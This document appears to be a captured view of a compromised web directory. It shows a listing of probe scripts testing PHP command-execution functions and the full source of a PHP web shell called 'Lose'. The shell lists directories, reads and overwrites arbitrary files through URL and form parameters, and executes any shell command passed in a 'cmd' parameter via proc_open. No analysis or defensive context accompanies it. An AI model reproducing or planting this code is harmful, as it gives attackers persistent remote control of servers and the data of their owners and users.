/home/fortisau/test.fortisauto.com

[D] .-
[D] ..-
[F] .htaccess281view edit
[D] .well-known-open
[F] 404.html242view edit
[F] check.php315view edit
[F] error_log57417view edit
[F] lose.php1684view edit
[F] pi.php16view edit
[F] t_exec.php73view edit
[F] t_passthru.php56view edit
[F] t_popen.php107view edit
[F] t_proc_open.php148view edit
[F] t_shell_exec.php58view edit
[F] t_system.php54view edit

VIEW

<?php
error_reporting(0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
$d=isset($_GET["d"])?$_GET["d"]:__DIR__;
echo "<title>Lose</title><style>body{background:#0c0c0c;color:#0f0;font:13px monospace;padding:20px}a{color:#0f0}td{padding:3px 10px}input,textarea{background:#111;color:#0f0;border:1px solid #0f0;padding:5px;width:100%}textarea{height:300px}.d{color:#1e90ff}</style>";
if(is_dir($d)){$files=scandir($d);echo "<h2>".htmlspecialchars($d)."</h2><table>";foreach($files as $v){$p=$d."/".$v;$s=is_file($p)?filesize($p):"-";$e=urlencode($p);echo "<tr><td>".(is_dir($p)?"<span class=d>[D]</span>":"[F]")." $v</td><td>$s</td>";if(is_dir($p)&&$v!="."&&$v!="..")echo "<td><a href='?d=$e'>open</a></td>";elseif(is_file($p))echo "<td><a href='?r=$e'>view</a> <a href='?e=$e'>edit</a></td>";echo "</tr>";}echo "</table>";}
if(isset($_GET["r"])){echo "<h3>VIEW</h3><pre>".htmlspecialchars(file_get_contents($_GET["r"]))."</pre>";}
if(isset($_GET["e"])){echo "<h3>EDIT</h3><form method=post><textarea name=c style='width:100%;height:400px'>".htmlspecialchars(file_get_contents($_GET["e"]))."</textarea><input type=hidden name=f value='".$_GET["e"]."'><br><input type=submit value=SAVE></form>";}
if(isset($_POST["f"])){echo file_put_contents($_POST["f"],$_POST["c"])?"<b>SAVED</b>":"<b>FAIL</b>";}
if(isset($_GET["cmd"])){
    $cmd=$_GET["cmd"];
    $desc=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
    $p=proc_open($cmd,$desc,$pipes);
    if(is_resource($p)){
        fclose($pipes[0]);
        $o=stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($p);
        echo "<pre>".htmlspecialchars($o)."</pre>";
    }
}